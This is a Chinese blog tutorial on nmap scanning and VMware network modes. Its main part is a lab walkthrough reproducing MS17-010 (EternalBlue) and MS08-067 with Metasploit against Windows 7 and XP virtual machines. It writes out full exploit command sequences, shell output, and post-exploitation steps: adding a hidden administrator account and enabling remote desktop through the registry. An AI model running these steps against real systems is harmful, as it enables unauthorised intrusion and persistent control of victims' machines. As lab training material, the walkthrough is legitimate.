【Kali】vmware虚拟机三种网络连接方式，ms17-010 ， ms08_067的复现

最新推荐文章于 2024-03-22 15:54:30 发布
最新推荐文章于 2024-03-22 15:54:30 发布
阅读量1.2k 收藏 6
点赞数 1
文章标签： linux kali ms17-010 ms08-067
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_63563528/article/details/132247781
版权

【Kali】vmware虚拟机三种网络连接方式，ms17-010 ， ms08_067的复现


kali中对windowsXP、windows 7漏洞利用使用到的工具：nmap、msfconsole。

nmap

nmap是一个网络连接端扫描软件，用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端，并且推断计算机运行哪个操作系统。

通常我们在进行渗透测试的过程中需要对目标主机的端口开放状态进行探测，从而了解目标主机，进行对应的测试。

nmap使用示例

  1. nmap基本语法帮助
    nmap（或nmap --help）

在这里插入图片描述

  1. 相关帮助信息解析
    -p:（端口号）

  2. 普通扫描
    nmap （ip地址）

在这里插入图片描述

  1. 指定端口扫描
    nmap -p （端口） （ip地址）

在这里插入图片描述

  1. 批量端口扫描

5.1 利用”,”分割端口号进行批量扫描：
nmap -p 80,22,8080 （ip地址）

5.2 利用”-”分割端口号进行批量扫描：
nmap -p 80-135 （ip地址）

5.3 扫描所有端口：
nmap -p 1-65535 （ip地址）

在这里插入图片描述

  1. 指定端口类型进行扫描
    端口类型：
    UDP（简称U）
    TCP（简称T）

-sU ：扫描UDP端口
-sT ：扫描TCP端口

U：后跟UDP端口号
T：后跟TCP端口号

举栗子：
nmap -sU -p U:445 192.3.142

在这里插入图片描述

  1. 根据端口的常见性进行扫描
    nmap --top-ports 10 （ip地址）

在这里插入图片描述

  1. 根据端口的出现的概率(0-1)进行扫描
    nmap --port-ratio 0 （ip地址）
    –port-ratio 后跟概率（0-1）

在这里插入图片描述

nmap常用的命令讲完了，讲一下msfconsole。

msfconsole

msfconsole简称msf，是一款常用的渗透测试工具，包含了常见的漏洞利用模块和生成各种渗透文件，利用网站，手机等的漏洞将到目标靶机，操控目标靶机。

检查模块是否安装，终端输入msfconsole：

在这里插入图片描述
如果没有安装，使用apt命令安装：

apt install metasploit-framework

msf 控制台参数运用

  • banner 这个主要是查看metasploit的版本信息，利用模块数量、payload数量等等。
  • use 这个是使用参数。如你要使用到某个利用模块，payload等，那么就要使用到use参数
  • Search 当你使用msfconsole的时候，你会用到各种漏洞模块、各种插件等等。
  • show 如果要显示利用模块，那么就输入show exploits。如果要显示payload，那么就输入show payloads。

vmware虚拟机三种网络连接方式

vmware为我们提供了三种网络工作模式，它们分别是：Bridged（桥接模式）、NAT（网络地址转换模式）、Host-Only（仅主机模式）。

1.仅主机模式

用于物理机与虚拟机之间连接。xshell等工具可以连接。
虚拟机网卡只需配置IPADDR与NETMASK。
配置时点击查看虚拟网络编辑器中的仅主机模式所在网段，将虚拟机的ip设置在该网段。
举个栗子：

在这里插入图片描述
VMnet1里面显示的192.168.14这一段就是仅主机模式所在的网段，虚拟机的ip就可以设置为192.168.14.开头的ip，比如192.168.14.50。

2.NAT模式

可以连接外网，但不会有独立ip，使用物理机的网络。
除了IPADDR和NETMASK之外还需要配置GATEWAY与DNS。
GATEWAY网关可以点击虚拟网络编辑器中的NAT设置查看。

在这里插入图片描述
3.桥接模式

能够连接外网，使用单独的ip地址，网段需要与桥接连接的外部网络的网段相同。
同一网段（子网）间终端可直接通信，如终端A和终端B；不在同一网段（子网）的终端不能直接通信，需要通过网关才能通信。

在这里插入图片描述

复现时需要配置虚拟机网络为桥接模式。配置方法参考：

第一步 虚拟网络编辑器
在这里插入图片描述

第二步 更改设置
在这里插入图片描述

第三步 选择桥接模式
在这里插入图片描述

第四步 虚拟机设置
在这里插入图片描述

第五步 虚拟机网络配置文件

由于桥接模式使用单独的ip地址，请事先查看自己的网络环境有哪些ip已经被使用了，我的物理机ip为192.168.0.102，虚拟机win7 的ip为：192.168.0.103，配置kail的ip时避开这些个就行。

我的win7配置为：192.168.0.103，kali配置为：192.168.0.100

cd /etc/network

vim interfaces

按i编辑，在原有内容
在这里插入图片描述在下方添加：

auto eth0
iface eth0 inet static  //配置eth0使用静态地址
address 192.168.0.100    //配置eth0的固定IP地址，网段要和物理机的一样，且此IP未被使用
netmask 255.255.255.0   //配置子网掩码
gateway 192.168.0.1      //配置网关

添加完后按Esc，按冒号（：），冒号后面输入wq保存后退出。
重启network服务：

systemctl stop NetworkManager  //NetworkManager这里注意大小写，linux是区分的。
systemctl restart networking   //重启服务。

配置完成后测试kali与win能够互相ping通。win这边需要关闭防火墙，否则kali是无论如何都ping通win的，这是我踩过坑的。

在这里插入图片描述kali：
在这里插入图片描述
win7：
在这里插入图片描述
虚拟机网络配置就完成了，下面正片开始。

ms17-010

提到操作系统漏洞，大家肯定听说过耳熟能详的永恒之蓝（MS17-010）了，他的爆发源于WannaCry勒索病毒的诞生。
该病毒是不法分子利用NSA（National Security Agency，美国国家安全局）泄露的危险漏洞“EternalBlue”（永恒之蓝）进行传播 。勒索病毒肆虐，俨然是一场全球性互联网灾难，给广大电脑用户造成了巨大损失。最新统计数据显示，100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。 勒索病毒是自熊猫烧香以来影响力最大的病毒之一。

现在我们在win7虚拟机中对这个漏洞进行复现。

kali使用nmap扫描本网段中所有的主机，这个过程会需要数十秒：

nmap 192.168.0.0/24

我这里扫描到了192.168.0.1、192.168.0.102、192.168.0.103、192.168.0.100、192.168.0.104的主机，靶机就是192.168.0.100，它的445端口是“open”的：

在这里插入图片描述
输入msfconsole打开MSF渗透测试工具：
这样就是开启成功了：

在这里插入图片描述
搜索ms17_010代码，使用msf中的auxiliary模块进行扫描：

search ms17_010

msf6 > search ms17_010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010

使用模块 3 auxiliary/scanner/smb/smb_ms17_010 ，扫描靶机192.168.0.103是否存在MS17-010漏洞：

msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.0.103
rhosts => 192.168.0.103
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.0.103:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.0.103:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

看到这句：Host is likely VULNERABLE to MS17-010!
主机很可能存在MS17-010!
使用永恒之蓝攻击模块 0 exploit/windows/smb/ms17_010_eternalblue对其进行攻击：

msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.0.103
rhosts => 192.168.0.103
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

提示攻击成功：

在这里插入图片描述

现在我们已经可以利用这个漏洞了，我想获取靶机shell，那么就输入：shell

meterpreter > shell
Process 1156 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

出现乱码，为解决乱码，将其编码设为UTF-8，只需要再输入：

chcp 65001 //65001为UTF-8的代码页

创建新用户：net user 1 123456 /add

C:\Windows\system32>net user 1 123456 /add             
net user 1 123456/add
The command completed successfully.

将用户1添加至管理员：net localgroup administrators 1 /add

想要对靶机进行远程桌面连接，需要知道远程桌面默认端口号：3389有没有开启。
查看开启的端口：netstat -ano
发现3389端口并没有开启，使用命令开启：

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
The operation completed successfully.

出现successfully就是成功了。端口已经开启，另起一个kali终端，输入命令：

rdesktop 192.168.0.103

进行远程桌面连接。

ms08_067

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”，攻击者利用受害者主机默认开放的SMB服务端口445，发送特殊RPC（Remote Procedure Call，远程过程调用）请求，造成栈缓冲区内存错误，从而被利用实施远程代码执行。

当用户在受影响的系统上收到RPC请求时，该漏洞会允许远程执行代码，攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时，该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统，包括：

Windows 2000
Windows XP
Windows Server 2003

使用winXP进行MS08-067漏洞的复现，开始之前需要配置桥接网络，关闭winXP防火墙，确保与kali能够互相ping通。

winXP：192.168.0.104
kali：192.168.0.100

在这里插入图片描述
在这里插入图片描述
开始复现：
同ms17-010一样，使用nmap扫描网段下所有主机：

nmap 192.168.0.0/24

Nmap scan report for 192.168.0.104
Host is up (0.00056s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
5000/tcp open  upnp

扫描到靶机，而且它的445端口为“open”。

进入Msfconsole并利用search语句查找漏洞利用模块。

search ms08-067

msf6 > search ms08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption              


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

进入漏洞模块：use 0 或者
use exploit/windows/smb/ms08_067_netapi

设置靶机ip等参数：

# 目标机ip
set RHOST 192.168.0.104
# 端口号
set RPORT 445
# 设置payload
set payload generic/shell_bind_tcp
# 攻击机ip
set LHOST 192.168.0.100
# 设置自动类型
set target 0
# 显示配置信息
show options

在这里插入图片描述
现在处于待触发攻击状态，输入语句exploit开始攻击：

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] 192.168.0.104:445 - Automatically detecting the target...
[*] 192.168.0.104:445 - Fingerprint: Windows XP - Service Pack 0 / 1 - lang:Chinese - Traditional
[*] 192.168.0.104:445 - Selected Target: Windows XP SP0/SP1 Universal
[*] 192.168.0.104:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 192.168.0.104:4444
[*] Command shell session 1 opened (192.168.0.100:33333 -> 192.168.0.104:4444) at 2023-08-13 01:40:25 -0400


Shell Banner:
Microsoft Windows XP [_ 5.1.2600]
-----

此时我们成功获取了Windows XP系统的Shell，我们调用“ipconfig”查看的IP地址也是目标的“192.168.0.104”。

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter ��������:

        Connection-specific DNS Suffix  . : DHCP HOST
        IP Address. . . . . . . . . . . . : 192.168.0.104
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.0.1

现在可以通过命令行对靶机进行创建文件夹、查看目录或者新建文件等行为。

C:\WINDOWS\system32>mkdir yunxi
mkdir yunxi

在这里插入图片描述

对目标XP主机进行深度提权：

# 增加用户
net user yunxi 123456 /add 
# 提升用户管理员权限
net localgroup administrators yunxi /add

在这里插入图片描述

开启远程连接3389端口并进行远程操作：

# 开启远程连接
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程连接
rdesktop 192.168.0.104

C:\WINDOWS\system32\yunxi>echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat

C:\WINDOWS\system32\yunxi>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f   

�����ɹ�
C:\WINDOWS\system32\yunxi>netstat -an
netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:5000           0.0.0.0:0              LISTENING
  TCP    192.168.0.104:139      0.0.0.0:0              LISTENING
  TCP    192.168.0.104:4444     192.168.0.100:33333    CLOSE_WAIT
  TCP    192.168.0.104:4444     192.168.0.100:38951    CLOSE_WAIT
  TCP    192.168.0.104:4444     192.168.0.100:39675    ESTABLISHED
  UDP    0.0.0.0:135            *:*                    
  UDP    0.0.0.0:445            *:*                    
  UDP    0.0.0.0:500            *:*                    
  UDP    0.0.0.0:1026           *:*                    
  UDP    127.0.0.1:123          *:*                    
  UDP    127.0.0.1:1030         *:*                    
  UDP    127.0.0.1:1900         *:*                    
  UDP    192.168.0.104:123      *:*                    
  UDP    192.168.0.104:137      *:*                    
  UDP    192.168.0.104:138      *:*                    
  UDP    192.168.0.104:1900     *:*

另起一个kali终端，输入rdesktop 192.168.0.104，输入用户名和密码（yunxi，123456）

在这里插入图片描述
以上就是ms08_067漏洞的复现与利用。

7ig3r
关注
  • 1
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
kali如何连接网络 (VMware下的虚拟机)
01-07
一.Vmware上网方式 1. 桥接 选择桥接方式，虚拟机与物理机上网方式相同，ip地址由所连接的网络分配，若物理机同时使用有线和无线两种方式（额，也就是插着网线，也连着WiFi）,此时，要选择桥接到什么网络 2.仅主机 这个好理解一点，就是虚拟机只能跟物理机通信，无法上网 3.NAT 此模式下，虚拟机可以上网，但是，与物理机的网络有所不同，简单理解就是，虚拟机可以访问网络，但通过它访问的 网络无法访问虚拟机 。（类比，内网访问外网，外网不能访问内网） 二.简单操作 打开VMware，开启虚拟机， 编辑—-》虚拟网络编辑器 2.更改设置 3.上述三种连接方式一目了然，勾选相应的设置即可 4
kali联网（桥接，nat和仅主机模式都有）
一大口木的博客
03-08 6016
kali的联网——桥接，nat，仅主机模式配置
kali网络连接问题
最新发布
weixin_54636850的博客
03-22 184
一.刚安装完kali却连接不了互联网，直接桥接暴露本机ip太危险。二.所以选择NAT模式。
kali虚拟机 WiFi
xyxzlsld666的博客
05-18 1万+
其中/usr/share/wordlists/rockyou.txt是kail自带的字典文件的路径，/home/cloudy/psw-02.cap是所抓取的握手包的存放路径。上行代码的两个mac地址有所省略，参照下图即可，其中红圈里的10表示要攻击的次数，绿色部分是路由器mac地址，黄色部分是设备mac地址，跟上一张图片对应。由于只有在设备与WiFi握手时，才能抓取到握手包，因此我们需要对已经连接的设备进行攻击，使其断线重连，才能抓取到握手包。时，破解成功，输入该密码即可连接目标WiFi。
kali虚拟网络的三种常用连接模式的原理
qq_59142466的博客
10-08 4925
linux网络配置
将虚拟机进行联网
余笙.'的博客
03-18 3870
步骤一：网络连接 选择NAT模式 步骤二：进入kali终端模拟器，使用ifconfig命令或者 ip a 命令查看网卡信息 步骤三：切换目录 cd /etc/network,并编辑网卡配置文件 interfaces 步骤四：配置网络 IP和子网掩码 gateway：编辑--虚拟网络编辑器--NAT设置里进行查看 最后一步验证网络是否连接成功，使用ping baidu.com或者其他验证 在这里我使用的是 ping baidu.com 这样网络就连接成功了 ...
分别以桥接、NAT模式设置Kali虚拟机
m0_67935803的博客
11-20 1029
分别以桥接、NAT模式设置Kali虚拟机
Kali Linux VMware（kali-linux-2022.2-vmware-amd64.part1.rar)
06-14
Kali Linux VMware（kali-linux-2022.2-vmware-amd64.7z）文件分割成 3个 压缩包，必须集齐3个 文件后才能一起解压一起使用： kali-linux-2022.2-vmware-amd64.part1.rar ... kali-linux-2022.2-vmware-amd64.part2.rar...
minidwep-gtk-kali_40420_amd64.deb
05-22
本工具（水滴minidwep-gtk）仅仅只用于个人无线网络渗透测试，严禁其他任何用途！！
Kali linux虚拟机镜像最新版 包含VMware 、 VirtualBox版本的Kali虚拟机
04-25
Kali linux虚拟机镜像最新版 包含VMware 、 VirtualBox版本的Kali虚拟机。 包含VMware 、 VirtualBox版本的Kali虚拟机，直接可以用不用安装 彻底解决不能全屏的问题，彻底解决增强工具安装失败的问题 Kali linux ...
Kali Linux-虚拟机安装
01-09
 （1）VM虚拟机：VMware Workstation 15.5    （2）Kali系统镜像 https://www.kali.org/   虚拟机配置部分 1.打开VMware Workstation，点击创建新的虚拟机。 2.选择“经典”，点击下一步。  3.选择“安装程序...
kali_NAT模式、桥接上网/仅主机_详细
摸鱼域的空气。
02-28 1万+
奶奶说，这个NAT折磨了我3天，让我把过程记下来，分享出去，让需要的人不在鱼龙混杂的海里翻几天东西才得以解决。 一、NAT模式介绍 二、物理网卡设置 三、VM的虚拟网络配置 四、kali内进行网卡配置 五、可能发生的错误 ...
VMware虚拟机kali如何与互联网和其他虚拟机、真实主机互通（最简单）
sunleibaba的博客
12-11 2837
VMware虚拟机kali如何与互联网和其他虚拟机、真实主机互通（超级简单）
虚拟机网络模式配置
weixin_63154145的博客
10-07 946
虚拟机网络模式配置
kali虚拟机无法联网
lei__yang的博客
07-20 7880
操作如下图所示，如果出现请求超时的情况说明ip地址没有被占用，即这个ip地址我们可以使用。键即可编辑，address后面的ip地址需要跟图三中的子网IP在同一个子网之中，也就是只能更改最后三位数。我的最开始只有auto、iface这两行内容，然后将如下的信息输入进去即可，按。接下来查看虚拟是否配置的为NAT模式，如果是再进行如图所示的下一步，查看完成之后我们再进入kali中进行操作打开网卡配置文件并进行配置。ping一下百度查看是否可以联网，如果解析失败说明无法进行联网。发现可以正常联网了，...
VMware——kali网络配置
Zyh_Joey的博客
05-12 5250
​kali网络配置
Kali NAT网络配置
Hazy1ee的博客
11-07 1160
Kali NAT的网络配置
Kali网络配置
Hazy1ee的博客
09-01 9391
Kali网络的基础配置
【Kali】手把手配置网络方法
热门推荐
weixin_45720193的博客
09-30 2万+
白话配置kali网络
kali复现ms17-010
09-26
ms17-010是指一个漏洞编号为MS17-010，CVE-2017-0143/0144/0145/0146/0147/0148的漏洞。要在kali中复现ms17-010，可以使用kali中的Metasploit框架来进行操作。首先，你需要使用ms17-010的辅助模块进行扫描，可以使用命令"use auxiliary/scanner/smb/smb_ms17_010"。然后，使用ms17-010的攻击模块来执行攻击，可以使用命令"use exploit/windows/smb/ms17_010_eternalblue"。通过执行这些命令，你将能够复现ms17-010漏洞。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值